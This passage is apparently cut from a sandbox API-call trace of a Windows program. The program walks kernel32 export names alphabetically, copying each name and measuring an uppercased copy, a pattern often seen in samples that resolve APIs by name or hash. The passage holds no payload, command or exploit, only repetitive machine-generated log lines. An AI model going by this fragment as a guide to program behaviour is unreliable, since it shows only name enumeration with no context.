(in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0139.530] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0139.530] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0139.530] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0139.530] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0139.530] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0139.530] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0139.530] lstrlenA (lpString="CANCELIO") returned 8 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0139.530] lstrlenA (lpString="CANCELIOEX") returned 10 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0139.530] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0139.530] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0139.530] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0139.530] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0139.530] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0139.530] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0139.530] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0139.530] lstrlenA (lpString="CHECKELEVATION") returned 14 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0139.530] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0139.530] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0139.530] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0139.531] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0139.531] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0139.531] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0139.531] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0139.531] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0139.531] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0139.531] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0139.531] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0139.531] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0139.531] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0139.531] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0139.531] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0139.531] lstrlenA (lpString="CLOSESTATE") returned 10 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0139.531] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0139.531] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0139.531] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0139.531] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0139.531] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0139.531] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0139.531] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0139.531] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0139.531] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0139.531] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0139.532] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0139.532] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0139.532] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0139.532] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0139.532] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0139.532] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0139.532] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0139.532] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0139.532] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0139.532] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0139.532] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0139.532] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0139.532] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0139.532] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0139.532] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0139.532] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0139.532] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0139.532] lstrlenA (lpString="COPYCONTEXT") returned 11 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0139.532] lstrlenA (lpString="COPYFILE2") returned 9 [0139.532] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0139.532] lstrlenA (lpString="COPYFILEA") returned 9 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0139.533] lstrlenA (lpString="COPYFILEEXA") returned 11 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0139.533] lstrlenA (lpString="COPYFILEEXW") returned 11 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0139.533] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0139.533] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0139.533] lstrlenA (lpString="COPYFILEW") returned 9 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0139.533] lstrlenA (lpString="COPYLZFILE") returned 10 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0139.533] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0139.533] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0139.533] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0139.533] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0139.533] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0139.533] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0139.533] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0139.533] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0139.533] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0139.533] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0139.533] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0139.533] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0139.533] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0139.533] lstrlenA (lpString="CREATEEVENTA") returned 12 [0139.533] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0139.534] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0139.534] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0139.534] lstrlenA (lpString="CREATEEVENTW") returned 12 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0139.534] lstrlenA (lpString="CREATEFIBER") returned 11 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0139.534] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0139.534] lstrlenA (lpString="CREATEFILE2") returned 11 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0139.534] lstrlenA (lpString="CREATEFILEA") returned 11 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0139.534] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0139.534] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0139.534] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0139.534] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0139.534] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0139.534] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0139.534] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0139.534] lstrlenA (lpString="CREATEFILEW") returned 11 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0139.534] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0139.534] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0139.534] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0139.534] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0139.534] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0139.534] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0139.534] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0139.535] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0139.535] lstrlenA (lpString="CREATEJOBSET") returned 12 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0139.535] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0139.535] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0139.535] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0139.535] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0139.535] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0139.535] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0139.535] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0139.535] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0139.535] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0139.535] lstrlenA (lpString="CREATEPIPE") returned 10 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0139.535] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0139.535] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0139.535] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0139.535] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0139.535] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0139.535] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0139.535] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0139.535] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0139.535] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0139.535] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0139.536] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0139.536] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0139.536] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0139.536] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0139.536] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0139.536] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0139.536] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0139.536] lstrcpyA (in: 